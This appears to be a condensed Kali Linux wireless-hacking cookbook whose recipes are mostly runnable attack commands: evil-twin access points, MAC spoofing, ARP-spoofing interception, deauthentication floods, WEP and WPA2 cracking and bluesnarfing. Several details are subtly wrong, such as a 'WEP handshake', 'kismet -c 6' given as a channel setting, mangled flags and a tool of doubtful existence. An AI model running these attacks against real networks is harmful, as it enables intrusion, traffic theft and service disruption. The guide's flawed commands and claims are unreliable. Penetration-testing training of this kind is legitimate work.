Introduction The adoption of wireless networks, particularly Wi-Fi, has surged across organizations. Ensuring wireless security is critical, as these networks are vulnerable to various attacks. This guide leverages Kali Linux’s advanced ethical hacking capabilities to maximize the success of wireless network testing, offering practical recipes for assessing and securing wireless environments.
What This Guide Covers - Chapter 1: Kali Linux and Wireless Networks – Introduces Kali Linux and its use in wireless penetration testing. - Chapter 2: Attacking Access Control – Explores access control mechanisms in wireless networks and how to bypass them. - Chapter 3: Attacking Integrity – Details how to compromise data integrity in wirelses communications. - Chapter 4: Attacking Confidentiality – Focuses on intercepting and stealing sensitive data from wireless networks. - Chapter 5: Attacking Availability – Discusses methods to disrupt wireless network availability. - Chapter 6: Authentication Attacks – Examines wireless authentication systems and how to exploit them. - Chapter 7: Bluetooth Attacks – Covers Bluetoooth vulnerabilities and attack techniques.
Prerequisites To follow the examples, you need a system with Kali Linux installed.
Target Audience This guide is for individuals familiar with networking and basic security concepts, interested in evaluating wireless devices and networks.
Recipe Structure Recipes follow a consistent format: - Getting Ready – Describes prerequisites and setup. - How to Do It – Step-by-step instructions. - How It Works – Explanation of the process. - More Info – Additional context or tips. - See Also – Links to related resources.
Text Conventions - Code terms, filenames, and commands appear as inline code. - Command-line input/output:
# Example: Convert Kismet data to KML
wireless-parser -x Kismet-$(date +%F).netxml -q "SELECT * FROM wireless" -o wardrive.kml
- New terms and key concepts are bolded.
Chapter 1: Kali Linux and Wireless Networks
Introduction Wireless communication is ubiquitous, but it introduces security risks. This chapter teaches you to set up Kali Linux and prepare for wireless testing.
Installing Kali Linux Kali Linux is essential for wireless penetration testing. Here’s how to install it on physical or virtual systems.
Getting Ready - Minimum Hardware: 10GB disk space, 512MB RAM (4GB+ recommended), USB/CD boot support, and an active internet connection. - Installation Options: Physical (hard drive/USB), virtual (VMware/VirtualBox), or live boot.
How to Do It (Physical Installation) 1. Download Kali from kali.org. 2. Create a bootable USB/CD. 3. Boot from the media and select Graphical Install. 4. Follow prompts: select language, location, keyboard, hostname, user details, time zone, and disk partitioning (use the entire disk for simplicity). 5. Configure the network mirror (enter proxy details if needed). 6. Install GRUB (Linux bootloader) and reboot.
How to Do It (Virtual Installation) 1. Create a new VM (e.g., VMware/VirtualBox) with Kali’s ISO. 2. Allocate 2GB RAM, 20GB disk, and a network adapter. 3. Follow the same installation steps as physical, but select "Virtual Machine" as the target.
Updating Kali Keep Kali updated to ensure access to latest tools:
sudo apt update && sudo apt dist-upgrade -y
Preparing for Wireless Testing Identify your wireless adapter using ip link (replaces ifconfig):
ip link show
Look for a wlan-prefixed interface (e.g., wlan0). If not in monitor mode, enable it:
sudo ip link set wlan0 down
sudo iw dev wlan0 set type monitor
sudo ip link set wlan0 up
Chapter 2: Attacking Access Control
Access control mechanisms (e.g., MAC filtering, hidden SSIDs) aim to restrict network access. This chapter shows how to bypass them.
War Driving (Discovering Wireless Networks) War driving involves scanning for wireless networks using tools like Kismet or Wifite.
Getting Ready - A wireless adapter in monitor mode. - Kismet (installed by default in Kali: sudo apt install kismet).
How to Do It 1. Start Kismet:
sudo kismet -c 6 -i wlan0 # Monitor channel 6
- Kismet will display nearby networks, their BSSIDs, channels, and encryption.
Creating a Rogue Access Point A rogue AP (evil twin) tricks users into connecting to a fake network.
Getting Ready - Two adapters: one for the rogue AP (e.g., wlan0), one for internet (e.g., eth0). - Install hostapd and dnsmasq:
sudo apt install hostapd dnsmasq
How to Do It 1. Configure dnsmasq (DHCP/DNS):
# /etc/dnsmasq.conf
interface=wlan0
dhcp-range=192.168.1.10,192.168.1.100,12h
- Configure
hostapd(AP settings):
# /etc/hostapd/hostapd.conf
interface=wlan0
driver=nl80211
ssid=FreeWiFi
hw_mode=g
channel=6
- Start services:
sudo dnsmasq -C /etc/dnsmasq.conf
sudo hostapd /etc/hostapd/hostapd.conf
Bypassing MAC Filtering (MAC Spoofing) MAC filtering restricts access by device MAC addresses. Spoof a valid MAC to bypass it.
Getting Ready - A connected client’s MAC (from Kismet/airodump-ng).
How to Do It 1. Identify a connected client’s MAC (e.g., 00:11:22:33:44:55). 2. Spoof your adapter’s MAC:
sudo ip link set wlan0 down
sudo macchanger -m 00:11:22:33:44:55 wlan0
sudo ip link set wlan0 up
- Connect to the network using the spoofed MAC.
Chapter 3: Attacking Integrity
Data integrity ensures information isn’t modified in transit. This chapter shows how to compromise it (e.g., packet injection, replay attacks).
Packet Injection (Replay Attacks) Replay attacks resend captured packets to exploit weak encryption (e.g., WEP).
Getting Ready - A WEP-encrypted network. - Tools: aireplay-ng, aircrack-ng.
How to Do It 1. Capture WEP handshake using airodump-ng:
sudo airodump-ng -c 6 --bssid 00:11:22:33:44:55 -w capture wlan0
- Deauthenticate a client to force a handshake:
sudo aireplay-ng -0 5 -a 00:11:22:33:44:55 -c 66:77:88:99:AA:BB wlan0
- Crack WEP with
aircrack-ng:
sudo aircrack-ng capture.cap
Chapter 4: Attacking Confidentiality
Confidentiality protects data from unauthorized access. This chapter covers man-in-the-middle (MITM) attacks and WEP/WPA cracking.
Wireless MITM Attack Intercept traffic between a client and access point.
Getting Ready - A rogue AP (from Chapter 2) or a connected adapter. - arpspoof (from dsniff package):
sudo apt install dsniff
How to Do It 1. Enable IP forwarding:
sudo sysctl -w net.ipv4.ip_forward=1
- Spoof the client and server:
# Spoof client → server
sudo arpspoof -i wlan0 -t 192.168.1.10 192.168.1.1
# Spoof server → client
sudo arpspoof -i wlan0 -t 192.168.1.1 192.168.1.10
- Capture traffic with
wireshark:
sudo wireshark -i wlan0
Chapter 5: Attacking Availability
Disrupting network availability (e.g., deauthentication attacks) can take down wireless services.
Deauthentication Attacks Force clients to disconnect from the network.
Getting Ready - aireplay-ng (from aircrack-ng suite).
How to Do It Send deauthentication frames to a target client:
sudo aireplay-ng -0 10 -a 00:11:22:33:44:55 -c 66:77:88:99:AA:BB wlan0
-0 10: Send 10 deauth frames. --a: Target BSSID. --c: Target client MAC.
Chapter 6: Authentication Attacks
Wireless authentication (e.g., WPA2-PSK) relies on shared keys. This chapter shows how to crack them.
Cracking WPA2-PSK (Wordlist Attack) Crack WPA2-PSK using a wordlist (e.g., rockyou.txt).
Getting Ready - A handshake capture (from Chapter 3). - A wordlist (download rockyou.txt from here).
How to Do It 1. Use aircrack-ng with the wordlist:
sudo aircrack-ng -w rockyou.txt handshake.cap
Chapter 7: Bluetooth Attacks
Bluetooth devices (e.g., keyboards, headsets) are vulnerable to attacks like Bluesnarfing.
Bluesnarfing (Stealing Data from Bluetooth Devices) Extract data from unpaired Bluetooth devices.
Getting Ready - bluesnarfer (install: sudo apt install bluesnarfer). - A Bluetooth adapter (e.g., hci0).
How to Do It 1. Discover devices:
sudo hcitool scan
- Snarf data (e.g., contacts, files) from a device (e.g., MAC
00:11:22:33:44:55):
sudo bluesnarfer -b 00:11:22:33:44:55 -v
This guide equips you with the skills to assess and secure wireless networks using Kali Linux. Practice ethically, and always obtain proper authorization before testing any network.